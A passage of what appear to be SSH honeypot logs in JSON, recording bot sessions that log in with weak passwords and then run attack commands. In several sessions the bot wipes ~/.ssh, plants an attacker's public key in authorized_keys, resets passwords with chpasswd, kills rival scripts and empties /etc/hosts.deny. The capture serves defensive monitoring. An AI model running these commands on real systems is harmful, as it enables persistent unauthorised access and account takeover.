sleep;"},{"seq":7,"at":"2026-08-27T00:20:57.320145+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:20:57.321789+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:20:58.280436+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:20:58.860417+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:20:59.563152+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:21:00.087314+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:21:00.669725+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:21:00.670444+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:21:01.250608+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:21:01.251149+00:00","kind":"output","latency_ms":null,"data":" 00:21:01 up 6 days, 21:11, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:21:01.833297+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:21:02.255044+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:21:02.833844+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:21:03.335181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:21:03.912762+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:21:04.237080+00:00","kind":"output","latency_ms":null,"data":"top - 00:21:04 up 6 days, 21:11, 0 user, load average: 0.06, 0.05, 0.04\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:21:04.825734+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:21:05.269410+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:21:05.847057+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:21:06.615712+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:21:07.201859+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:21:07.897539+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:21:08.477705+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:21:09.844062+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:21:10.423248+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:21:11.640059+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QAZwsx123","method":"password","accepted":true,"tier":"other"}]} {"id":"d07cf30b-8560-4b85-bbb5-af953dfb9455","name":"early-deft-galago","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":50678,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":571,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:17:53.831192+00:00","ended_at":"2026-08-27T00:17:54.534356+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2057,"events":[{"seq":1,"at":"2026-08-27T00:17:33.256523+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:17:33.871803+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:17:43.356820+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:17:43.357436+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:17:43.912041+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nNMe7Bq8OC28d\\nNMe7Bq8OC28d\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:17:44.480525+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nNMe7Bq8OC28d\\nNMe7Bq8OC28d\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:17:45.041119+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:17:45.041600+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:17:45.630233+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:17:46.243622+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:17:46.814944+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:17:47.413400+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:17:47.999263+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:17:48.000137+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:17:48.574597+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:17:48.577138+00:00","kind":"output","latency_ms":null,"data":" 00:17:48 up 6 days, 21:07, 0 user, load average: 0.34, 0.34, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:17:49.135144+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:17:49.137841+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:17:49.735440+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:17:49.736078+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:17:50.291091+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:17:50.291567+00:00","kind":"output","latency_ms":null,"data":"top - 00:17:50 up 6 days, 21:07, 0 user, load average: 0.34, 0.34, 0.28\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:17:50.850485+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:17:50.851026+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:17:51.523663+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:17:51.524129+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:17:52.092790+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:17:52.094139+00:00","kind":"output","latency_ms":null,"data":"ftp_user"},{"seq":29,"at":"2026-08-27T00:17:52.653863+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:17:53.249912+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:17:53.832469+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:17:54.349273+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftp_user","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"d8569d23-7d3d-4484-a143-bef4fc61640a","name":"jaunty-northern-boar","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":34414,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":548,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:14:46.269218+00:00","ended_at":"2026-08-27T00:14:47.160675+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T00:14:31.047188+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:14:31.594880+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:14:36.357035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:14:36.357602+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:14:36.906465+00:00","kind":"input","latency_ms":null,"data":"echo \"root:EERZmGr3xBSk\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:14:37.453970+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:14:37.999736+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:14:38.000350+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:14:38.547119+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:14:39.129398+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:14:39.680208+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:14:40.232146+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:14:40.781391+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:14:40.782380+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T00:14:41.330493+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:14:41.331491+00:00","kind":"output","latency_ms":null,"data":" 00:14:41 up 6 days, 21:04, 0 user, load average: 0.03, 0.04, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:14:41.879747+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:14:41.880324+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:14:42.428593+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:14:42.429188+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:14:42.977103+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:14:42.977617+00:00","kind":"output","latency_ms":null,"data":"top - 00:14:42 up 6 days, 21:04, 0 user, load average: 0.03, 0.04, 0.02\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:14:43.534481+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:14:43.535148+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:14:44.083739+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:14:44.084855+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:14:44.634667+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:14:44.635324+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:14:45.195411+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:14:45.711911+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:14:46.269946+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:14:46.982355+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe1234.","method":"password","accepted":true,"tier":"other"}]} {"id":"48a02821-9c28-49b2-a275-dbf93718a57c","name":"northern-diligent-kea","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":57256,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:54:02.157985+00:00","ended_at":"2026-08-26T22:54:03.018766+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:53:37.188591+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:53:37.256827+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:53:40.190177+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:53:42.047526+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:53:42.113231+00:00","kind":"input","latency_ms":null,"data":"echo \"root:E0mktp4d0qj4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:53:42.179078+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:53:42.245574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:53:43.797841+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:53:43.801690+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T22:53:43.864554+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:53:45.880333+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:53:45.950303+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:53:46.825082+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:53:46.893799+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:53:47.805204+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:53:47.872960+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:53:49.221076+00:00","kind":"output","latency_ms":null,"data":" 22:53:49 up 6 days, 19:43, 0 user, load average: 0.19, 0.24, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:53:49.292623+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:53:50.969172+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:53:51.037333+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:53:52.312429+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:53:52.379924+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:53:53.984051+00:00","kind":"output","latency_ms":null,"data":"top - 22:53:53 up 6 days, 19:44, 0 user, load average: 0.19, 0.24, 0.17\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:53:54.051603+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:53:56.196962+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:53:56.264533+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:53:58.062709+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:53:58.131628+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:54:00.129865+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:54:00.195909+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:54:02.092097+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:54:02.158729+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:54:03.007791+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qweR123$","method":"password","accepted":true,"tier":"other"}]} {"id":"edd0c314-fcb9-447c-b79a-3656dc46905b","name":"fabled-murky-hamster","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":57498,"username":"admin123","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:51:58.922845+00:00","ended_at":"2026-08-26T22:52:00.471746+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2263,"events":[{"seq":1,"at":"2026-08-26T22:51:36.809838+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:51:36.874649+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:51:39.570715+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:51:40.457680+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:51:40.527084+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin123123\\nvgeGoTarEfdo\\nvgeGoTarEfdo\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:51:40.595097+00:00","kind":"input","latency_ms":null,"data":"echo \"admin123123\\nvgeGoTarEfdo\\nvgeGoTarEfdo\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:51:40.660612+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:51:41.419322+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:51:41.757817+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:51:41.827308+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:51:42.210542+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:51:43.363491+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:51:43.439915+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:51:44.780685+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:51:44.850099+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:51:46.942897+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:51:47.013825+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:51:49.156847+00:00","kind":"output","latency_ms":null,"data":" 22:51:49 up 6 days, 19:41, 0 user, load average: 0.1, 0.12, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:51:49.223859+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:51:50.755936+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:51:50.826798+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:51:52.442486+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:51:52.508541+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:51:53.442045+00:00","kind":"output","latency_ms":null,"data":"top - 22:51:53 up 6 days, 19:42, 0 user, load average: 0.1, 0.12, 0.09\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 